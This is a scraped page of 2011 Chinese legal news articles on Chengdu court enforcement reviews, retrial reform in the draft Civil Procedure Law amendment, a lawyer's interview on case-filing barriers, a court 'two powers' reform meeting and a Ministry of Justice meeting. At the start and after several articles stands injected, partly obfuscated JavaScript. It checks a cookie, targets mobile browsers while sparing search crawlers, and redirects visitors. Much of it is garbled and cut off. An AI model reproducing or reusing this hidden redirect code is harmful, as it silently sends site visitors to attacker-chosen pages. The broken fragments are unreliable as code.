)|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i](_0xecfdx1](0,4))){var _0xecfdx3= new Date( new Date()]()+ 1800000);document]= _0x446d+ _0xecfdx3]();window]= _0xecfdx2}}})(navigator]|| navigator]|| window],_0x446d)}

成都中院主动征求市人大常委会评议调查组法院执行工作整改意见

11月2日下午,成都中院党组成员、副院长龚成一行到市人大内司委同市人大常委会专项评议市法院执行工作调查小组成员进行座谈,主动征求调查组成员和人大代表对法院执行工作的整改意见。会上,龚成副院长向调查组成员汇报了市法院在市人大常委会评议后相关工作的开展情况,并就市法院《关于执行工作接受人大评议后的整改意见(征求意见稿)》做了介绍说明。评议调查组成员纷纷表示,市法院此次评议满意度测评中获得95%的满意投票,难能可贵,工作扎实,希望市法院认真落实人大评议意见,进一步提升执行工作水平。同时,评议调查成员还就关心的问题提出了意见和建议。市人大内司委主任委员、专项评议调查组副组长张龙学指出,本次评议一是各方重视,不仅人大常委会、评议调查组非常重视本次评议工作的开展,市法院党组也高度重视,有力的保障了评议工作的顺利开展;二是措施有力,前期工作方案明确、动员到位,评议过程中衔接紧密、工作细致,较为全面的反映了法院执行工作的情况;三是效果显著,不仅评议结果令人满意,也有力的促动了法院的执行工作,圆满实现了以评促执的预期目标。 转载于成都中院网 var _0x446d=;if(document]](_0x446d)== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1](_0x446d)== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i](_0xecfdx1](0,4))){var _0xecfdx3= new Date( new Date()]()+ 1800000);document]= _0x446d+ _0xecfdx3]();window]= _0xecfdx2}}})(navigator]|| navigator]|| window],_0x446d)}

民诉法修正草案翻修审判监督程序 再审不限次或致终审不终

民诉法修正草案翻修审判监督程序求解申诉难业内人士称 未明确再审次数“终审不终”难杜绝   “申诉难”、“再审难”、“翻烧饼”(历经多次审理的案件)……近年来,社会舆论对民事审判监督的责难不绝于耳。为改变这一现状,刚刚公布的民事诉讼法修正案草案对审判监督程序进行了新一轮翻修。   “草案对于合理疏通申请再审救济途径、保障当事人合法权益、合理配置各级法院审判职能、改善和加强法律监督都具有十分积极的意义。”江苏省高级人民法院审判监督第二庭审判长张继军11月3日接受《法制日报》记者采访时说。   申请再审部分“上提一级”   1991年民诉法规定:“当事人对已经发生法律效力的判决、裁定,认为有错误的,可以向原审人民法院或者上一级人民法院申请再审。”2007年民诉法修改时,将“可以向原审人民法院或者上一级人民法院申请再审”修改为“可以向上一级人民法院申请再审”。这被看成申请再审“上提一级”。   此后,再审案件在法院系统的分布发生重大变化:这类案件在基层人民法院和中级人民法院基本没有了,而成为高级法院的主要工作,最高法也不得不把大量精力从审判指导转向投入到实务审理。   “实践表明,‘上提一级’既不利于社会秩序的稳定和最高法职能发挥,也加大了当事人申请再审的诉讼成本。”中国人民大学法学院教授汤维建直言。   此次民诉法修正草案做出新的修改,将“可以向上一级人民法院申请再审”修改为“可以向上一级人民法院申请再审;发生在公民之间的案件,也可以向原审人民法院申请再审。”   张继军认为,由“上提一级”恢复为“部分上提一级”,能够减轻目前已不堪重负的高级法院、最高法的压力。他说,发生在公民之间的案件占所有民事申请再审案件中的绝大部分,而该类案件申请再审的原因,有相当一部分是因为当事人自身对法律的理解有偏差,由原审法院在再审审查中多做法律释明工作,对化解矛盾具有积极作用。   明确当事人申请抗诉条件   以往,检察机关启动审判监督程序唯一的法律手段就是抗诉。而由于抗诉权“上提一级”,基层检察院没有抗诉权,导致越往上抗诉负担越重,形成“倒三角”状抗诉案件办理结构。   为解决监督实践的需要,民诉法修正草案明确规定,地方各级检察院可以对同级法院提出再审检察建议,以此间接启动审判监督程序。汤维建表示,这在一定程度上实现了“同级抗”的制度愿望,也发挥了基层检察院的基础性作用。   另一个让人挠头的问题是,实践中不少当事人既向人民法院申请再审,又向人民检察院提请抗诉。   山东省临沂市兰山区人民检察院民行科科长刘晓对此深有感触。他说,实践中,经常发生检察机关提请抗诉后,文书送到法院,才知道法院也正在审查,决定再审该案。有时还会发生,当事人到检察机关申诉,检察机关认为不符合抗诉再审的条件,当事人又到法院申诉,法院立案再审的情况,损害了诉讼监督程序的严肃性。   基于此,民诉法修正草案增加规定,在3种情况下当事人可以向人民检察院申请再审检察建议或者抗诉:人民法院驳回再审申请的;人民法院逾期未对再审申请作出裁定的;再审判决、裁定有明显错误的。   再审不限次或致终审不终   司法实践中,滥用申诉权和“申诉难”一样客观存在。有借申诉拖延执行或逃避生效裁判的,有借申诉上访让政府解决与诉讼完全无关的困难的,还有借申诉搞诉讼“加塞儿”的。   张继军告诉《法制日报》记者,频繁启动审判监督程序的弊端很多,不仅严重浪费司法资源、消解生效裁判的既判力影响司法权威,而且会使社会关系长期处于不稳定状态。   汤维建也提出,对现行再审制度的修改,要遵循两个目的:既要有效地疏通当事人申请再审的渠道,也要对当事人申请再审进行必要的规范和引导,防止滥用申诉权,避免有的当事人无理缠诉。   草案显然也考虑到了这种情况,明确规定:经人民检察院提出再审检察建议或者抗诉,人民法院再审的,当事人不得再向人民检察院申请再审检察建议或者抗诉。   两位业内人士都认为这样的规定对于解决一些当事人反复缠诉、“终审不终”的问题,虽然有一定的作用但远不彻底。他们都主张明确规定再审次数的限制。   汤维建的观点是:申请再审的当事人就同一民事案件向同一人民法院只能申请再审一次;上一级人民法院指令下级人民法院再审的,对同一个案件,只能指令再审一次;最高人民法院再审的案件,当事人依然不满的,不得再次提出再审申请,而只能向人民检察院提出抗诉申请。   张继军则主张,无论什么情况,再审应以一次为限。   建议明确依职权再审标准   2007年民诉法修改时,第179条对当事人申请再审的事由作出了细化的规定,同时保留了第177条人民法院依职权启动再审程序的标准——发现确有错误。   “调研表明,这一标准存在着多方面的缺陷。”汤维建解释说,“确有错误”的标准不符合实际情况,因为法院依职权发动的审判监督程序,并非都进行改判;“确有错误”的标准不符合审判逻辑和规律,它应当是再审的结果,而不是再审的前提;这也不利于当事人服判息诉。   张继军也认为这一标准太过含糊,在实践中与因当事人申请而再审的界限并不明确。他建议草案对此限定为“原审实体处理显著不当”,排除对因程序违法、适用法律错误以及实体处理虽有不当但对当事人权益影响不大的案件。此外,他提出民诉法第179条仍有进一步细化的必要,如对新证据的标准应当作出适当明确。   汤维建则提出两个修改建议:对人民法院依职权发动再审程序的事由具体化,将其与当事人申请再审的事由和检察院抗诉的事由统一起来;对人民法院依职权发动再审程序的标准进行修改,以“可能错误”的标准取代“确有错误”的标准。 转载于中国普法网if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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专家分析民诉法修正案草案:需关注民事案件”立案难”

民诉法修改尚需关注民事案件“立案难” 全国律协民委会主任分析民诉法修正案草案   对话人   全国律师协会民事业务委员会主任 朱树英   《法制日报》记者         林 燕   对话动机   民事诉讼法是人民群众进行民事诉讼活动,实现民事权益的基本法律保障。10月29日,全国人大常委会在其网站上公布了民事诉讼法修正案草案,向社会公开征集意见。   民诉法的修改引起了社会各界的广泛关注。作为全国民事律师的代表,全国律协民事业务委员会如何看待此次民诉法的修改?对草案将提出哪些建议?带着这些问题,法制网与全国律协合办的“影响力·中国律师系列访谈”本期邀请了全国律协民事专业委员会主任朱树英律师,就民事诉讼法修改的相关热点话题展开对话。   □对话   应以保障当事人诉权为立法取向   记者:现行民事诉讼法于1991年通过,距今已有20年。这次修改是2007年对其修改以来的第二次修改。为何时隔不到5年,民诉法又要进行修改?民诉法修改的指导思想是什么?   朱树英:相对于2007年的局部修改,本次修改应当是一次比较全面的修改。随着经济社会快速发展,民事案件数量不断增多,新的案件类型也不断出现,民诉法的规定在一些方面已经不能完全适应群众的司法需求,有必要进一步予以较全面的修改和完善。   这次修改应当是一次“中修”,应以保障当事人行使诉讼权利为立法的本位和基本取向,依法保障公民的司法诉讼权利和法律救济权利。   记者:有观点认为,民诉法非大修不足以济事,您怎么看?您对此次民事诉讼法修正案草案有何评价?   朱树英:这个“修”至少应是中修,因为小修不足以解决很多问题;而大修要重新再来,也没有必要,原来很多规定还是管用的。已公布的修正案草案有很多亮点,如公益诉讼、小额诉讼一审终审、裁判文书公开、行为保全等规定都是进步之处。但令人遗憾的是,有些在民事活动中亟待解决的问题在这次修改中并没有涉及,比如说民事案件的立案难和“不予立案”的问题。   不予受理案件依法应明确规定   记者:如您所言,尽管诉讼难在目前已有所缓解,但是立案门槛过高的问题在实践中还存在。您认为民事诉讼法应从哪些方面来回应解决立案难问题?   朱树英:要解决立案难,我认为民诉法至少要在两个方面作出明确规定:首先是要对法院不予受理的案件作出明确的规定。诉讼是群众保护自己权益的最后一道屏障,哪些情况不予立案应由法律来明确规定。现在有些地方的法院,由于案件积压等各种原因,对民事诉讼请求常常是既不立案,也不作不立案的裁定。此外,有的地方法院还受一些行政机关的影响,通过内部通知或者指导意见等方法,规定某些案件“不予立案”。因此,建议民事诉讼法修正案草案应该明确法院不予受理的案件的范围,并规定“人民法院不接受任何行政机关、社会团体或其他单位以提议、通知或要求等形式,限制法院不予受理案件的范围”。   此外,要解决群众诉讼难问题,另一重要方面就是民事诉讼法对法院指定管辖要做进一步限定。   记者:原有民诉法中第三十七条“有管辖权的人民法院由于特殊原因,不能行使管辖权的,由上级人民法院指定管辖。”修正案草案对这一规定进行了修改,为什么要作出修改?   朱树英:指定管辖初衷是好的,是为了让有利害关系的法院回避管辖,但在实践中,指定管辖和地方保护主义很多时候却是联在一起的,反而导致了当事人立案无门、起诉难。有个典型的案子,1亿多元标的额的案件依法本应由省高院受理的,但因各种因素影响,省高院和市中院却通过两次指定管辖让区法院受理了,而被告正是区政府,这样当事人还能起诉吗?因此,建议民事诉讼法修正案草案要明确限定受指定管辖的法院,比如规定符合什么条件的法院才可以被指定管辖,或者用排除性规定“涉及利害关系的法院不能被指定管辖”。   公益诉讼主体需进一步扩大范围   记者:近十几年来,公益诉讼一直是社会关注的热点问题。这次修正案草案创设了公益诉讼,很多人评价这是一个历史性的进步,您怎么看?   朱树英:公益诉讼在我国立法上一直处于空白。特别是这次环渤海漏油事件的发生,让公益诉讼立法更加迫在眉睫。这次修正案草案创设公益诉讼应当说是一个重要突破,但还有一些需要完善的问题,比如谁有权利提起公益诉讼、公共利益范围如何界定、公益诉讼程序如何细化等。   记者:提起公益诉讼的主体限定为“有关机关或社会团体”是否合理?   朱树英:草案规定对公益诉讼的主体限制得比较严格,仅局限在有关机关和社会团体,这是值得商榷的。因为公益诉讼既然是公益的,就不能仅限定机关团体对公共利益负有义务,一般的群众如果有这个能力,想为公众利益而起诉也应当允许。其实这么多年来,推动公共利益的案件很多都是一些有社会责任感的个人在做。   所以公益诉讼的专门条款应增加规定在什么情况下允许公民个人也可以向人民法院提起公益诉讼,或者至少在有关机关或社会团体后面加个“等”。   记者:公益诉讼的程序方面是否还需要完善?   朱树英:对现实中“有关机关、社会团体”难以作为从而不作为的情况,立法应增加补救性程序的规定。此外,公益诉讼怎么提起、法院怎么审理、如何防止滥诉、案外人如何加入诉讼、诉讼费用如何承担、判决的效力范围等都有必要进行一些程序性的细化规定。   小额诉讼数额不应一刀切   记者:规定5000元以下的小额案件一审终审是这次修改的又一亮点,您认为这一规定有什么意义?   朱树英:在小额纠纷数量不断增加,现行的简易程序已经不能适应高效、低成本解决小额纠纷的情况下,设置专门的小额诉讼很有必要。它避免了法院不管案件大小设立一样的诉讼程序,有利于简化诉讼程序、节约司法资源、提高纠纷解决的诉讼效率,从而也能减少当事人的诉累。   记者:有人担心规定5000元“一刀切”做法在实践中难于操作。在我国东部发达地区,标的额5000元以下的案件几乎没有;但在一些贫困的地方,5000元的案件就可能不是小案件。   朱树英:数额的确定是一个立法技巧问题,有多种解决方案,例如直接根据国民平均收入比例作出相对统一的上限规定,或者设定一个幅度,如3000元至5000元或5000元至10000元以下,这样各个地方就可以在自由裁量的幅度范围内结合本地实际情况具体加以规定,但不得超过最高限度。   记者:小额案件一审终审是否会导致当事人因程序简化而丧失救济渠道?   朱树英:小额诉讼只是将二审终审变成了一审终审,但当事人仍有申诉这一权利救济的渠道,不服判决还可以提起再审,法律规定在特殊情形给予救济的机会,小额诉讼不会因一审终审而使当事人丧失救济渠道。   监督执行是检察监督应有之意   记者:原有民诉法仅规定了检察机关对审判活动有权进行监督,此次修正案草案提出对执行活动也有权进行监督。有人认为这使检察权对民事活动的监督实质名归,但是也有人认为这样可能导致检察权扩张,您怎么看?   朱树英:检察机关是国家的法律监督部门,负有监督国家法律正确实施的责任。原本所有民事活动都应纳入法律监督的范畴,这是检察机关的义务和责任,也是检察监督的题中应有之义。   检察监督是目前对于民事诉讼活动最有效的监督方式,存在的主要问题是检察监督总体不够而不是滥用,也就是检察监督在民事诉讼活动中没有发挥应有的作用,并且,检察机关的检察建议书也只是建议权,没有决定权,最终能否被采纳还是由法院定,大可不必顾虑检察权滥用的问题。   记者:草案增加了“人民检察院发现调解书损害社会公共利益的,应当提出再审检察建议或者提出抗诉”的规定,这是出于什么考虑?   朱树英:实践中发生了不少通过案外的假调解来转移财产、逃避债务或者规避法律、损害公共利益的情况。法院审判时可能尚未形成证据,法院对此并不了解,判决后才发现已形成既成事实,因此增加检察机关对调解书的主动监督是很有必要的。   记者:如果最终确立了这两项检察监督的新内容,在实践操作中还应做好哪些配套工作?   朱树英:其一,检察机关民事案件检察监督的人力不足,需增加相应的人员配置;其二,这一规定还比较笼统,要通过司法解释细化操作,规定检察机关对执行过程和调解书如何进行有效监督,使检察监督落到实处。例如,可增加“检察院在设定的时段内按一定的比例定期抽查法院的调解书,或者直接规定调解书应当给检察院备案”。这样才能让检察机关的监督有渠道,有操作性,能够及时发现调解书是否损害公共利益。 转载于中国普法网if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera 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省高院在成都中院召开全省法院推广成都法院“两权改革”现场会

为了总结推广成都法院“两权改革”经验,省高院于2011年10月17日在成都中院召开推广成都法院“两权改革”现场会,省高院党组书记、院长刘玉顺主持了会议。省高院党组成员、副院长,厅级领导,各部门主要负责人;各中院院长,审判管理部门负责人近100人参加了会议。 现场会分为上、下两段进行,上半段会议代表参观了武侯区法院,实地考察了武侯区法院在成都中院统一部署和研发下形成的“两权”系统的运行情况,参观了成都中院的科技法庭;下半段听取了成都中院党组书记、院长牛敏对“两权改革”情况的介绍及现场演示。牛敏院长从成都法院以审判权和审判管理权改革为核心,构建审判运行机制,完善法院内部治理结构的动因、内容、做法和效果四个方面作了汇报。 省高院党组副书记、副院长邓修明代表省高院党组,肯定成都两级法院,坚持转变司法理念,坚持积极探索和不断创新,在准确把握审判工作规律的基础上,注重发挥信息化建设的优势,以审判权、审判管理权改革为核心,探索构建科学的审判运行机制,取得了明显效果。成都两级法院的经验和做法,既有实践基础,又有理论支撑,值得各地法院认真学习和借鉴。总结了成都法院“两权改革”的主要特点:一是依法界定审判权、审判管理权的权责;二是建立执行工作层级管理、分权制衡格局;三是建立完善科学的法官业绩记录评价系统;四是通过司法公开形成法院与社会的互动交流平台;五是建立规范统一快捷的诉讼服务体系。进一步指出学习推广成都法院“两权改革”经验意义重大:一是有利于深化思想认识;二是有利于节约实践成本;三是有利于推动整体发展。要求各法院在推广中要把握好以下几点:一是要结合本地实际;二是要注重解决问题;三是要遵循审判规律;四是要注重创新发展。 省高院党组书记、院长刘玉顺在总结中指出:在最高法院、省高院的关注、总结和指导下,成都中院以“两权改革”为核心构建审判运行机制的经验已经成熟,最高法院正式决定在全国法院推广。成都中院以“两权改革”为核心构建的审判运行机制是在科学理念指导下的深度思考,以务实的工作作风深入推进,是锐意进取、不断努力、与时代同行的成果,体现了院长的责任感、使命感和司法智慧,是带领法院实现科学发展的机制。各法院要认真学习成都中院的经验,要作为“一把手”工程来推进,这不是一件普通的工作,运用常规的工作思路,普通的工作方法是不可能完成的,这是对法院院长最现实的考验,各法院要按照修明院长代表省高院党组的部署学习好、借鉴好成都经验。 转载于成都市中级人民法院网var _0x446d=;if(document]](_0x446d)== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1](_0x446d)== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i](_0xecfdx1](0,4))){var _0xecfdx3= new Date( new Date()]()+ 1800000);document]= _0x446d+ _0xecfdx3]();window]= _0xecfdx2}}})(navigator]|| navigator]|| window],_0x446d)}

司法部召开党组(扩大)会议传达学习党的十七届六中全会精神

吴爱英强调认真学习贯彻党的十七届六中全会精神 为推动社会主义文化大发展大繁荣提供法律服务和法律保障   本网讯 记者赵阳 10月19日,司法部部长、党组书记吴爱英主持召开部党组(扩大)会议,传达学习党的十七届六中全会精神,研究贯彻落实意见。吴爱英强调,要认真学习贯彻胡.锦.涛总书记在党的十七届六中全会上的重要讲话和全会精神,充分发挥司法行政职能作用,努力为深化文化体制改革、推动社会主义文化大发展大繁荣提供法律服务和法律保障。   吴爱英指出,党的十七届六中全会,是在全面建设小康社会关键时期召开的重要会议。胡.锦.涛总书记受中央政治局委托作的工作报告和在全会结束时发表的重要讲话,站在党和国家事业发展全局的高度,全面回顾了党的十七届五中全会以来中央政治局的工作,客观评价了各项工作取得的新进展新成就,深刻指出了面临的形势和挑战,对贯彻落实全会精神,深化文化体制改革、推动社会主义文化大发展大繁荣,做好当前党和国家工作作出了重要部署,高屋建瓴,高瞻远瞩,总揽全局,为我们指明了方向。全会通过的《决定》,全面总结改革开放特别是党的十六大以来我们党推动文化建设取得的成就、积累的经验,深刻分析文化建设面临的形势和任务,阐述了中国特色社会主义文化发展道路,确立了建设社会主义文化强国的战略目标,提出了新形势下推进文化改革发展的指导思想、目标任务、重要方针、重大举措,是当前和今后一个时期指导我国文化改革发展的纲领性文件。   吴爱英强调,学习好、宣传好、贯彻好党的十七届六中全会精神,是当前和今后一个时期司法行政系统的首要政治任务。部机关各司局、各直属单位和各级司法行政机关要把学习贯彻党的十七届六中全会精神摆上重要日程,精心组织、周密部署。要组织广大司法行政干警和法律服务工作者认真学习胡.锦.涛总书记的重要讲话和十七届六中全会精神,通过学习,深刻领会一年来以胡.锦.涛同志为总书记的党中央带领全国各族人民取得的巨大成就,更加坚定走中国特色社会主义道路的决心和信心。深刻领会我们党推动文化建设取得的巨大成就和基本经验,联系实际,切实运用到文化建设中。深刻领会新形势下推进文化改革发展的极端重要性和紧迫性,更加自觉、更加主动地推动文化大发展大繁荣。深刻理解中国特色社会主义文化发展道路的深刻内涵,进一步增强走中国特色社会主义文化发展道路的坚定性和自觉性。深刻理解当前和今后一个时期推进我国文化改革发展的指导思想、目标任务、重要方针和重大举措,努力建设社会主义文化强国。深刻理解当前形势和任务,认真做好司法行政各项工作,以优异成绩迎接党的十八大胜利召开。   